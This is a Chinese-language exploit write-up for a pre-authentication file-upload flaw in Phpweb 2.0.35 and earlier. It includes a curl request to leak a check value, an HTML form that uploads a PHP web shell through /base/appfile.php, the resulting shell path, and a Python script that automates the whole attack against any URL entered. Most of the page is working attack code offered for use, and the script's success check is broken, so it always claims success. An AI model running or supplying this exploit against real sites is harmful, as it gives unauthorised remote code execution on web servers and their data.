跳转至

Phpweb 前台getshell

一、漏洞简介

漏洞影响文件:/base/post.php /base/appfile.php /base/appplue.php /base/appborder.php

二、漏洞影响

Phpweb\<=2.0.35

三、复现过程

1.首先要获取加密前的Md5值,用于文件较检,通过Post提交数据来获取!

curl "http://website/base/post.php" -H "act=appcode"

ac34c64cdb405eff881efc5476a64761 ##这个就是初始值

2.获取加密后得md5值

然后将初始值md5加密(ac34c64cdb405eff881efc5476a64761 + "a")

得到加密后的MD5值!

e10adc3949ba59abbe56e057f20f883e ##这个就是加密后的md5值(终值)!

3.Getsehll exp:

&lt;html&gt;
&lt;body&gt;
&lt;form action="http://0-sec.org/base/appfile.php" method="post" enctype="multipart/form-data"&gt;
&lt;label for="file"&gt;Filename:&lt;/label&gt;
&lt;input type="file" name="file" id="file" /&gt;
&lt;input type="text" name="t" value="a" /&gt;
&lt;input type="text" name="m" value="25a824696cb75a44aabd05a08070789f" /&gt;
&lt;input type="text" name="act" value="upload" /&gt;
&lt;input type="text" name="r_size" value="14" /&gt;
&lt;br /&gt;
&lt;input type="submit" name="submit" value="getshell" /&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

然后...Getshell!

当出现OK两个大字时,说明你成功了!!!

上传的shell路径是

http://www.0-sec.org/effect/source/bg/shell名称.php

工具编写

Python exp[Python3]:

# -*- coding: UTF-8 -*- #
import os
import requests
import hashlib

bdlj = os.getcwd()
headers = open(bdlj+"\headers.txt",'r')
headerss = headers.read()
print('\b')

ur = input("请输入目标网址:")
requrl =  ur + '/base/post.php'
reqdata = {"act":"appcode"}
r = requests.post(requrl,data=reqdata)
cz=r.text[2:34]
print ('初值:' + cz)

cz=r.text[2:34]+"a"
m = hashlib.md5()
b = cz.encode(encoding='utf-8')
m.update(b)
zz = m.hexdigest()
print ('终值:' + zz)

infile = open(bdlj + "\datas.txt", "r",encoding='utf-8')
outfile = open(bdlj + "\datah.txt", "w",encoding='utf-8')
for line in infile:
      outfile.write(line.replace('156as1f56safasfasfa', zz))
infile.close()
outfile.close()
datas = open(bdlj+"\datah.txt",'r')
datass = datas.read()

gs = requests.post(ur + '/base/appfile.php',data=datass,headers={'Content-Type':headerss})
gs.encoding = 'utf-8'
print (gs.text)

if {gs.text == "OK"}:
    print ("Getshell成功! Shell:" + ur + "/effect/source/bg/mstir.php")
else:
    print ("Getsehll失败!")

整包下载地址:https://github.com/ianxtianxt/Phpweb-Getshell-py

使用请下载整包,否则会缺少协议头和data数据!

使用教程:

参考链接

https://m4tir.github.io/Phpweb-Reception-Getshell